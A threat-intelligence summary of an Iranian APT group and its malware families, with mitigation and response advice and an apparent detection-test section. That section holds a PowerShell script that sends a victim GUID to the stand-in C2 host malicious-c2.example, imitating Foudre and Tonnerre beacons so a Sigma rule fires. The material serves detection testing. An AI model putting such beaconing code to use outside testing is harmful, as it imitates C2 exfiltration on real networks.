Prince of Persia: A 10-Year Retrospective on Iranian APT Activity

Summary

The report profiles the Iranian state-linked APT cluster dubbed Prince of Persia and traces its progression over the past decade, with emphasis on activity observed from 2023 through 2025. The operators rely on bespoke malware families—including Foudre, Tonnerre, MaxPinner, Rugissement, and Deep Freeze—to support espionage and systematic data theft. Recent iterations introduce domain-generation algorithms, Telegram-based command and control, and encrypted SFX payloads to improve resilience and concealment. Targeting spans critical infrastructure and dissident-linked networks across multiple regions.

Investigation

SafeBreach researchers followed the group’s operations from 2019 onward, collecting fresh samples, documenting C2 architecture, and analyzing the DGA logic. They decrypted protected payloads, extracted Telegram bot credentials, and built a timeline of variant rollouts. The research highlights separate production and testing infrastructures and details file-drop behaviors tied to Excel-driven infection chains. Indicators of compromise were assembled from malware hashes, domains, and URLs.

Mitigation

Monitor DNS activity for the identified DGA patterns, block known malicious domains, and restrict or inspect Telegram bot-related traffic. Add detections for the referenced malware filenames and loader DLL artifacts, and use DNS monitoring/sinkholing to surface rotating infrastructure. Enforce application allowlisting and harden Office security by limiting macros to reduce the likelihood of initial access.

Response

If any indicator is found, quarantine the affected system, capture volatile evidence, and run targeted forensics on dropped files and relevant registry paths. Block all linked domains and IP addresses, rotate exposed Telegram bot tokens, and reset credentials for impacted accounts. Hunt environment-wide for the custom loader DLL remnants and encrypted SFX payloads to ensure full eradication.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (T1584.005) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  The threat actor has provisioned a malicious domain malicious-c2.example that hosts the Foudre/Tonnerre C2 server. The attacker’s payload on the victim machine performs two HTTP GET requests:

  1. Sends the victim’s GUID to the Foudre C2 endpoint using the path /1/?c=<GUID>.
  2. Contacts Telegram’s API via the Tonnerre back‑door using the path /t/tga.adr.

  Both requests are made over HTTP (to simplify proxy logging) and include a generic User‑Agent to blend with normal traffic. The actions generate the exact fields (request_method=GET, url containing the targeted substrings) that the Sigma rule watches for.

• Regression Test Script:

  # ------------------------------------------------------------
  # Foudre & Tonnerre C2 Communication Simulation (Windows)
  # ------------------------------------------------------------
  
  # 1. Define victim GUID (in a real infection this would be read from the registry)
  $guid = (New-Guid).Guid
  
  # 2. Define malicious C2 host (replace with an address you control for testing)
  $c2Host = "http://malicious-c2.example"
  
  # 3. Send GUID to Foudre C2 endpoint
  $foudreUrl = "$c2Host/1/?c=$guid"
  Write-Host "[*] Sending GUID to Foudre C2: $foudreUrl"
  Invoke-WebRequest -Uri $foudreUrl -Method GET -UseBasicParsing
  
  # 4. Contact Telegram API via Tonnerre back‑door
  $telegramUrl = "$c2Host/t/tga.adr"
  Write-Host "[*] Contacting Telegram API endpoint: $telegramUrl"
  Invoke-WebRequest -Uri $telegramUrl -Method GET -UseBasicParsing
  
  Write-Host "[+] Simulation complete. Check SIEM for alerts."

  The script is self‑contained; running it on a Windows host that routes traffic through the configured proxy will produce two log entries that match the Sigma rule’s url|contains conditions.

• Cleanup Commands:

  # Remove any temporary network connections (only relevant if proxy creates persistent sessions)
  # Here we simply clear the DNS cache to avoid lingering resolution of the malicious host.
  ipconfig /flushdns
  Write-Host "[*] Cleanup complete."